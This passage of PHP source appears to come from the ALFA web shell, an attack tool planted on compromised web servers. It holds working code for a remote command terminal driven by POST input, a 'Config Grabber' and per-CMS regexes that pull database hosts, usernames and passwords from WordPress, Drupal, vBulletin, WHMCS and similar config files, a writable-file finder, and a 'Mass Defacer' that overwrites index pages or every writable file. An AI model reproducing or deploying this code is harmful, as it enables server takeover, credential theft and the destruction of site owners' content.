cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>\';\n         $icon = \'<img class="archive-icons" src="\'.findicon(\'..\',\'dir\').\'" width="30" height="30">\';\n         echo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="\'.dirname($arch.\'.php\').\'">\'.$icon.\'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>\';\n         foreach($files as $file){\n             $icon = \'<img class="archive-icons" src="\'.findicon($file[\'name\'],$file[\'type\']).\'" width="30" height="30">\';\n             if($file["type"] == "dir"){\n                echo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="\'.$file["path"].\'" fname="\'.$file["name"].\'">\'.$icon.\'<span class="archive-name archive-type-dir">| \'.$file["name"].\' |</span></a><td>dir</td><td>\'.$file["modify"].\'</td><td>-</td></tr>\';\n            }else{\n                echo "<tr><th><a base_id=\'".$base_id."\' class=\'archive-file-row\' onclick=\\"editor(\'".$file["path"]."\',\'auto\',\'\',\'\',\'\',\'file\');\\">".$icon."<span class=\'archive-name archive-type-file\' fname=\'".$file["name"]."\'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";\n\n            }\n         }\n          echo \'</table>\';\n    }catch(Exception $e){\n        echo("0");\n    }\n}\nfunction alfaopen_archive_dir(){\n    $dir = $_POST["alfa1"];\n    $base_id = $_POST["alfa2"];\n    __alfa_open_archive_file($dir, $base_id);\n}\nfunction alfaconfig_grabber(){\n    alfahead();\n    echo \'<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>\';\n    echo \'<form name="srch" onSubmit="g(\\\'config_grabber\\\',null,null,this.dir.value,this.ext.value,null,\\\'>>\\\');return false;" method=\\\'post\\\'>\n    <div class="txtfont">\n    Dir: <input size="50" id="target" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">\n    Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\n    <input type="submit" name="btn" value=" "></div></form></center><br>\';\n    $dir = $_POST[\'alfa2\'];\n    $ext = $_POST[\'alfa3\'];\n    if($_POST[\'alfa5\']==\'>>\'){\n        echo __pre();\n        Alfa_ConfigGrabber($dir, $ext);\n    }\n    echo \'</div>\';\n    alfafooter();\n}\nfunction Alfa_ConfigGrabber($dir, $ext) {\n    $pattern = "#define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOST(?:\'|\\")[ ]{0,}|define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOSTNAME(?:\'|\\")[ ]{0,}|config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")password(?:\'|\\")\\]|(?:\'|\\")database(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")|(?:\'|\\")(mysql|database)(?:\'|\\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";\n    $db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");\n    if(@is_readable($dir)){\n        $globFiles = @glob("$dir/*.$ext");\n        $globDirs  = @glob("$dir/*", GLOB_ONLYDIR);\n        $blacklist = array();\n        foreach ($globDirs as $dir) {\n            if(!@is_readable($dir)||@is_link($dir)) continue;\n            @Alfa_ConfigGrabber($dir, $ext);\n        }\n        foreach ($globFiles as $file){\n            $filee = @file_get_contents($file);\n            if(preg_match($pattern, $filee)){\n                echo "<div><span>$file</span> <a style=\'cursor:pointer;\' onclick=\\"editor(\'".$file."\',\'auto\',\'\',\'\',\'\',\'file\');\\">[ View file ]</a></div>";\n            }\n        }\n    }\n}\nfunction alfasearcher(){\nalfahead();\necho \'<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'file\\\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'str\\\')">| Find Files By Name | </a></h3></center>\';\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'file\'){\necho \'<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\\\'searcher\\\',null,\\\'file\\\',this.filename.value,this.ext.value,this.method.value,\\\'>>\\\');return false;" method=\\\'post\\\'>\n<div class="txtfont">\nMethod: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>\nDir: <input size="50" id="target" type="text" name="filename" value="\'.$GLOBALS[\'cwd\'].\'">\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\n$dir = $_POST[\'alfa2\'];\n$ext = $_POST[\'alfa3\'];\n$method = $_POST[\'alfa4\'];\nif($_POST[\'alfa5\']==\'>>\'){\necho __pre();\nif(substr($dir,-1)==\'/\')$dir=substr($dir,0,-1);\nAlfa_Searcher($dir,trim($ext),$method);\n}\n}\nif($_POST[\'alfa1\']==\'str\'){\necho \'<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\\\'searcher\\\',null,\\\'str\\\',this.dir.value,this.string.value,\\\'>>\\\',this.ext.value,this.method.value);return false;" method=\\\'post\\\'>\n<div class="txtfont">\nMethod: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>\nString: <input type="text" name="string" value="">\nDir: <input size="50" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\n$dir = $_POST[\'alfa2\'];\n$string = $_POST[\'alfa3\'];\n$ext = $_POST[\'alfa5\'];\nif(!empty($string) AND !empty($dir) AND $_POST[\'alfa4\'] == \'>>\'){\necho __pre();\nAlfa_StrSearcher($dir,$string,$ext,$_POST[\'alfa6\']);\n}\n}\necho \'</div>\';\nalfafooter();\n}\nfunction alfaMassDefacer(){\nalfahead();\nAlfaNum(5,6,7,8,9,10);\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Mass Defacer |</div></p><form onSubmit=\\"g(\'MassDefacer\',null,this.massdir.value,this.defpage.value,this.method.value,\'>>\');return false;\\" method=\'post\'>";\necho \'<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>\n    Mass dir: <input size="50" id="target" type="text" name="massdir" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\n    DefPage: <input size="50" type="text" name="defpage" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"></div> <input type="submit" name="btn" value=" "></center></p>\n</form>\';\n$dir = $_POST[\'alfa1\'];\n$defpage = $_POST[\'alfa2\'];\n$method = $_POST[\'alfa3\'];\n$fCurrent = $GLOBALS[\'__file_path\'];\nif($_POST[\'alfa4\'] == \'>>\'){\nif(!empty($dir)){\nif(@is_dir($dir)){\nif(@is_readable($dir)){\nif(@is_file($defpage)){\nif($dh = @opendir($dir)){\necho __pre();\nwhile (($file = @readdir($dh)) !== false){\nif($file == \'..\' || $file == \'.\')continue;\n$newfile=$dir.$file;\nif($fCurrent == $newfile)continue;\nif(@is_dir($newfile)){\nAlfa_ReadDir($newfile,$method,$defpage);\n}else{\nif(!@is_writable($newfile))continue;\nif(!@is_readable($newfile))continue;\nAlfa_Rewriter($newfile,$file,$defpage,$method);\n}\n}\nclosedir($dh);\n}else{__alert(\'<font color="red">Error In OpenDir...</font>\');}\n}else{__alert(\'<font color="red">DefPage File NotFound...</font>\');}\n}else{__alert(\'<font color="red">Directory is not Readable...</font>\');}\n}else{__alert(\'<font color="red">Mass Dir is Invalid Dir...</font>\');}\n}else{__alert(\'<font color="red">Dir is Empty...</font>\');}\n}\necho \'</div>\';\nalfafooter();\n}\nfunction Alfa_ReadDir($dir,$method=\'\',$defpage=\'\'){\nif(!@is_readable($dir)) return false;\nif (@is_dir($dir)) {\nif ($dh = @opendir($dir)) {\nwhile(($file=readdir($dh))!==false) {\nif($file == \'..\' || $file == \'.\')continue;\n$newfile=$dir.\'/\'.$file;\nif(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);\nif(@is_file($newfile)){\nif(!@is_readable($newfile))continue;\nAlfa_Rewriter($newfile,$file,$defpage,$method);\n}\n}\nclosedir($dh);\n}\n}\n}\nfunction Alfa_Rewriter($dir,$file,$defpage,$m=\'index\'){\nif(!@is_writable($dir)) return false;\nif(!@is_readable($dir)) return false;\n$defpage=@file_get_contents($defpage);\nif($m == \'index\'){\n$indexs = array(\'index.php\',\'index.htm\',\'index.html\',\'default.asp\',\'default.aspx\',\'index.asp\',\'index.aspx\',\'index.js\');\nif(in_array(strtolower($file),$indexs)){\n@file_put_contents($dir,$defpage);\necho @is_file($dir)?$dir."<b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\n}\n}elseif($m==\'all\'){\n@file_put_contents($dir,$defpage);\necho @is_file($dir)?$dir."  <b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\n}\n}\nfunction alfaGetDisFunc(){\nalfahead();\necho \'<div class="header">\';\n$disfun = @ini_get(\'disable_functions\');\n$s = explode(\',\',$disfun);\n$f = array_unique($s);\necho \'<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>\';\n$i=1;\nforeach($f as $s){\n$s=trim($s);\nif(function_exists($s)||!is_callable($s))continue;\necho \'<tr><td align="center" style="background-color: black;">\'.$i.\'</td>\';\necho \'<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.\'.str_replace(\'_\',\'-\',$s).\'.php"><span class="disable_functions"><b>\'.$s.\'</b></span></a></td>\';\n$i++;\n}\necho \'</table></center>\';\necho \'</div>\';\nalfafooter();\n}\nfunction Alfa_Create_A_Tag($action,$vals){\n$nulls = array();\nforeach($vals as $key => $val){\necho \'<a href=javascript:void(0) onclick="g(\\\'\'.$action.\'\\\',\';\nfor($i=1;$i<=$val[1]-1;$i++)$nulls[] = \'null\';\n$f = implode(\',\',$nulls);\necho $f.\',\\\'\'.$val[0].\'\\\');return false;">| \'.$key.\' | </a>\';\nunset($nulls);\n}\n}\nfunction Alfa_Searcher($dir, $ext, $method) {\nif(@is_readable($dir)){\nif($method == \'all\')$ext = \'*\';\nif($method == \'dirs\')$ext = \'*\';\n$globFiles = @glob("$dir/*.$ext");\n$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);\n$blacklist = array();\nforeach ($globDirs as $dir) {\nif(!@is_readable($dir)||@is_link($dir)) continue;\n@Alfa_Searcher($dir, $ext, $method);\n}\nswitch($method){\ncase "files":\nforeach ($globFiles as $file){\nif(@is_writable($file)){\necho "$file<br>";\n}\n}\nbreak;\ncase "dirs":\nforeach ($globFiles as $file){\nif(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){\necho dirname($file).\'<br>\';\n$blacklist[] = dirname($file);\n}\n}\nbreak;\ncase "all":\nforeach ($globFiles as $file){\necho $file.\'<br>\';\n}\nbreak;\n}\nunset($blacklist);\n}\n}\nfunction AlfaiFrameCreator($f,$width=\'100%\',$height=\'600px\'){\nreturn(\'<iframe src="\'.__Cavdar59_DATA_FOLDER__."/".$f.\'" width="\'.$width.\'" height="\'.$height.\'" frameborder="0"></iframe>\');\n}\nclass AlfaCURL {\npublic $headers;\npublic $user_agent;\npublic $compression;\npublic $cookie_file;\npublic $proxy;\npublic $path;\npublic $ssl = true;\npublic $curl_status = true;\nfunction __construct($cookies=false,$compression=\'gzip\',$proxy=\'\'){\nif(!extension_loaded(\'curl\')){$curl_status = false;return false;}\n$this->headers[] = \'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg\';\n$this->headers[] = \'Connection: Keep-Alive\';\n$this->headers[] = \'Content-type: application/x-www-form-urlencoded;charset=UTF-8\';\n$this->user_agent = \'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)\';\n$this->path = ALFA_TEMPDIR.\'/Alfa_cookies.txt\';\n$this->compression=$compression;\n$this->proxy=$proxy;\n$this->cookies=$cookies;\nif($this->cookies)$this->cookie($this->path);\n}\nfunction cookie($cookie_file) {\nif (_alfa_file_exists($cookie_file,false)) {\n$this->cookie_file=$cookie_file;\n}else{\n@fopen($cookie_file,\'w\') or die($this->error(\'The cookie file could not be opened.\'));\n$this->cookie_file=$cookie_file;\n@fclose($this->cookie_file);\n}\n}\nfunction Send($url,$method="get",$data=""){\nif(!$this->curl_status){return false;}\n$process = curl_init($url);\ncurl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);\ncurl_setopt($process, CURLOPT_HEADER, 0);\ncurl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);\ncurl_setopt($process, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($process, CURLOPT_ENCODING , $this->compression);\ncurl_setopt($process, CURLOPT_TIMEOUT, 30);\nif($this->ssl){\ncurl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);\ncurl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);\n}\nif($this->cookies){\ncurl_setopt($process, CURLOPT_COOKIEFILE, $this->path);\ncurl_setopt($process, CURLOPT_COOKIEJAR, $this->path);\n}\nif($this->proxy){\ncurl_setopt($process, CURLOPT_PROXY, $this->proxy);\n}\nif($method==\'post\'){\ncurl_setopt($process, CURLOPT_POSTFIELDS, $data);\ncurl_setopt($process, CURLOPT_POST, 1);\ncurl_setopt($process, CURLOPT_HTTPHEADER, array(\'Content-Type: application/x-www-form-urlencoded\'));\n}\n$return = @curl_exec($process);\ncurl_close($process);\nreturn $return;\n}\nfunction error($error) {\necho "<center><div style=\'width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px\'><b>cURL Error</b><br>$error</div></center>";\ndie;\n}\n}\nfunction getConfigHtml($cms){\n$content = \'\';\n$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");\n$content .= "<form class=\'getconfig\' onSubmit=\'g(\\"GetConfig\\",null,this.cms.value,this.path.value,this.getAttribute(\\"base_id\\"));return false;\'><div class=\'txtfont\'>Cms: </div> <select name=\'cms\'style=\'width:100px;\'>";\nforeach($cms_array as $key => $val){\n$content .= "<option value=\'{$key}\' ".($key==$cms?\'selected=selected\':\'\').">{$val}</option>";\n}\n$content .= "</select> <div class=\'txtfont\'>Path(installed cms/Config): </div> <input type=\'text\' name=\'path\' value=\'".$_SERVER[\'DOCUMENT_ROOT\']."/\' size=\'30\' /> <button class=\'button\'>GetConfig</button>";\n$content .= "</form>";\nreturn $content;\n}\nif (!function_exists(\'json_encode\')){\n    function json_encode($a=false){\n        if (is_null($a)) return \'null\';\n        if ($a === false) return \'false\';\n        if ($a === true) return \'true\';\n        if (is_scalar($a))\n        {\n            if (is_float($a))\n            {\n                return floatval(str_replace(",", ".", strval($a)));\n            }\n\n            if (is_string($a))\n            {\n                static $jsonReplaces = array(array("\\\\", "/", "\\n", "\\t", "\\r", "\\b", "\\f", \'"\'), array(\'\\\\\\\\\', \'\\\\/\', \'\\\\n\', \'\\\\t\', \'\\\\r\', \'\\\\b\', \'\\\\f\', \'\\"\'));\n                return \'"\' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . \'"\';\n            }\n            else\n            return $a;\n        }\n        $isList = true;\n        for ($i = 0, reset($a); $i < count($a); $i++, next($a))\n        {\n            if (key($a) !== $i)\n            {\n                $isList = false;\n                break;\n            }\n        }\n        $result = array();\n        if ($isList)\n        {\n            foreach ($a as $v) $result[] = json_encode($v);\n            return \'[\' . join(\',\', $result) . \']\';\n        }\n        else\n        {\n            foreach ($a as $k => $v) $result[] = json_encode($k).\':\'.json_encode($v);\n            return \'{\' . join(\',\', $result) . \'}\';\n        }\n    }\n}\nif ( !function_exists(\'json_decode\') ){\nfunction json_decode($json, $array=true){\n    $comment = false;\n    $out = \'$x=\';\n    for ($i=0; $i<strlen($json); $i++)\n    {\n        if (!$comment)\n        {\n            if ($json[$i] == \'{\' || $json[$i] == \'[\'){$out .= \' array(\';}\n            else if ($json[$i] == \'}\' || $json[$i] == \']\'){$out .= \')\';}\n            else if ($json[$i] == \':\'){$out .= \'=>\';}\n            else {$out .= $json[$i];}\n        }\n        else $out .= $json[$i];\n        if ($json[$i] == \'"\')    $comment = !$comment;\n    }\n    eval($out . \';\');\n    return $x;\n}\n}\nfunction alfaterminalExec(){\n    $pwd = "pwd";\n    $seperator = ";";\n    if($GLOBALS[\'sys\']!=\'unix\'){\n        $pwd = "cd";\n        $seperator = "&";\n    }\n    if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\'".$seperator;}\n    $current_path = \'\';\n    if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST[\'alfa1\'], $match)){\n        if(empty($match[1])){\n            $match[1] = $match[2];\n        }\n        $current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);\n        $current_path = str_replace("\\\\", "/", $current_path);\n    }\n    $out = alfaEx($cmd.$_POST[\'alfa1\'], true);\n    $out = htmlspecialchars($out);\n    echo json_encode(array("output" => convertBash($out), "path" => $current_path));\n}\nfunction convertBash($code) {\n    $dictionary = array(\n        \'[01;30m\' => \'<span style="color:black">\',\n        \'[01;31m\' => \'<span style="color:red">\',\n        \'[01;32m\' => \'<span style="color:green">\',\n        \'[01;33m\' => \'<span style="color:yellow">\',\n        \'[01;34m\' => \'<span style="color:blue">\',\n        \'[01;35m\' => \'<span style="color:purple">\',\n        \'[01;36m\' => \'<span style="color:cyan">\',\n        \'[01;37m\' => \'<span style="color:white">\',\n        \'[0m\'   => \'</span>\'\n    );\n    $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);\n    return $htmlString;\n}\nfunction alfadoActions(){\n    $chdir_fals = false;\n    if(!@chdir($_POST[\'c\'])){\n        $chdir_fals = true;\n        $alfa_canruncmd = _alfa_can_runCommand(true,true);\n    }\n    if(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);\n    if(isset($_POST[\'alfa2\']))$_POST[\'alfa2\'] = rawurldecode($_POST[\'alfa2\']);\n    $action = $_POST["alfa3"];\n    if($action == "permission"){\n        $perms = 0;\n        $perm = $_POST["alfa2"];\n        for($i=strlen($perm)-1;$i>=0;--$i){\n            $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));\n        }\n        if(@chmod($_POST[\'alfa1\'], $perms)){\n            echo("done");\n        }else{\n            echo("no");\n        }\n        return;\n    }\n    if($action == "rename" || $action == "move"){\n        $alfa1_decoded = $_POST[\'alfa1\'];\n        if($chdir_fals){\n            $_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];\n        }\n        $_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);\n        $alfa1_escape = addslashes($_POST["alfa1"]);\n        if($_POST["alfa3"] == "rename"){\n            $_POST[\'alfa2\'] = basename($_POST[\'alfa2\']);\n        }\n        if(!empty($_POST[\'alfa2\'])){\n            $cmd_rename = false;\n            if($chdir_fals&&$alfa_canruncmd){\n                if(_alfa_is_writable($_POST[\'alfa1\'])){\n                    $cmd_rename = true;\n                    $alfa1_escape = addslashes($alfa1_decoded);\n                    alfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa2\'])."\'");\n                }\n            }\n            if(!file_exists($_POST[\'alfa2\'])){\n                if(@rename($_POST[\'alfa1\'], $_POST[\'alfa2\'])||$cmd_rename){\n                    echo "done";\n                }else{\n                    echo "no";\n                }\n            }else{\n                echo "no";\n            }\n        }\n    }elseif($action == "copy"){\n        if(is_dir($_POST["alfa1"])){\n            $dir = str_replace(\'//\', \'/\', $_POST["alfa1"]);\n            $dir = explode(\'/\', $dir);\n            if(empty($dir[count($dir) - 1])){\n                $name = $dir[count($dir) - 2];\n            }else{\n                $name = $dir[count($dir) - 1];\n            }\n        }else{\n            $name = basename($_POST["alfa1"]);\n        }\n        $dir = dirname($_POST["alfa1"]);\n        if($dir == "."){\n            $dir = $_POST["c"]."/";\n        }\n        if(is_file($_POST["alfa1"])){\n            @copy($_POST["alfa1"], $_POST["alfa2"]);\n            echo("done");\n        }elseif(is_dir($_POST["alfa1"])){\n            if(!is_dir($_POST["alfa2"])){\n                mkdir($_POST["alfa2"], 0755, true);\n            }\n            copy_paste($dir, $name , $_POST["alfa2"] . "/");\n            echo("done");\n        }\n    }elseif($action == "modify"){\n        if( !empty($_POST[\'alfa1\']) ) {\n            $time = strtotime($_POST[\'alfa1\']);\n            if($time){\n                $touched = false;\n                if($chdir_fals&&$alfa_canruncmd){\n                    alfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa1\']))."\' \'".addslashes($_POST[\'alfa2\'])."\'");\n                    $touched = true;\n                }\n                if(!@touch($_POST[\'alfa2\'],$time,$time)&&!$touched){\n                    echo \'no\';\n                }else{\n                    echo \'ok\';\n                }\n            } else{\n                 echo \'badtime\';\n            }\n        }\n    }\n\n}\nfunction alfaget_flags(){\n    $flags = array();\n    if(function_exists("curl_version")){\n        $curl = new AlfaCURL();\n        $server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]);\n        $flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);\n        $flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);\n        if(strpos($flag2, "geoplugin") != false){\n            $flag = json_decode($flag, true);\n            $flag2 = json_decode($flag2, true);\n            if(!empty($flag[\'geoplugin_countryCode\'])){\n                $flags["server"]["name"] = $flag[\'geoplugin_countryName\'];\n                $flags["server"]["code"] = $flag[\'geoplugin_countryCode\'];\n            }\n            if(!empty($flag2[\'geoplugin_countryCode\'])){\n                $flags["client"]["name"] = $flag2[\'geoplugin_countryName\'];\n                $flags["client"]["code"] = $flag2[\'geoplugin_countryCode\'];\n            }\n        }\n    }\n    echo json_encode($flags);\n}\nfunction alfaGetConfig(){\n$cms = $_POST[\'alfa1\'];\n$path = trim($_POST[\'alfa2\']);\n$config = array(\n\'wp\'=>array(\'file\'=>\'/wp-config.php\',\n\'host\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOST(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'dbname\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_NAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'dbuser\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_USER(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'dbpw\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PASSWORD(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'prefix\'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",1)\n),\n\'drupal\'=>array(\'file\'=>\'/config.php\',\n\'host\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOSTNAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'dbname\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_DATABASE(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'dbuser\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_USERNAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'dbpw\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PASSWORD(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\n\'prefix\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PREFIX(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1)\n),\n\'drupal2\'=>array(\'file\'=>\'/sites/default/settings.php\',\n\'host\'=>array("/(?:\'|\\")host(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\n\'dbname\'=>array("/(?:\'|\\")database(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\n\'dbuser\'=>array("/(?:\'|\\")username(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\n\'dbpw\'=>array("/(?:\'|\\")password(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\n\'prefix\'=>array("/(?:\'|\\")prefix(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1)\n),\n\'vb\'=>array(\'file\'=>\'/includes/config.php\',\n\'host\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")servername(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\n\'dbuser\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")username(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\n\'dbname\'=>array("/config\\[(?:\'|\\")Database(?:\'|\\")\\]\\[(?:\'|\\")dbname(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\n\'dbpw\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")password(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\n\'prefix\'=>array("/config\\[(?:\'|\\")Database(?:\'|\\")\\]\\[(?:\'|\\")tableprefix(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3)\n),\n\'phpnuke\'=>array(\'file\'=>\'/config.php\',\n\'host\'=>array(\'/dbhost(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\n\'dbname\'=>array(\'/dbname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\n\'dbuser\'=>array(\'/dbuname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\n\'dbpw\'=>array(\'/dbpass(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\n\'prefix\'=>array(\'/prefix(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3)\n),\n\'smf\'=>array(\'file\'=>\'/Settings.php\',\n\'host\'=>array("/db_server(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbuser\'=>array("/db_user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbpw\'=>array("/db_passwd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'prefix\'=>array("/db_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\n),\n\'whmcs\'=>array(\'file\'=>\'/configuration.php\',\n\'host\'=>array("/db_host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbuser\'=>array("/db_username(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbpw\'=>array("/db_p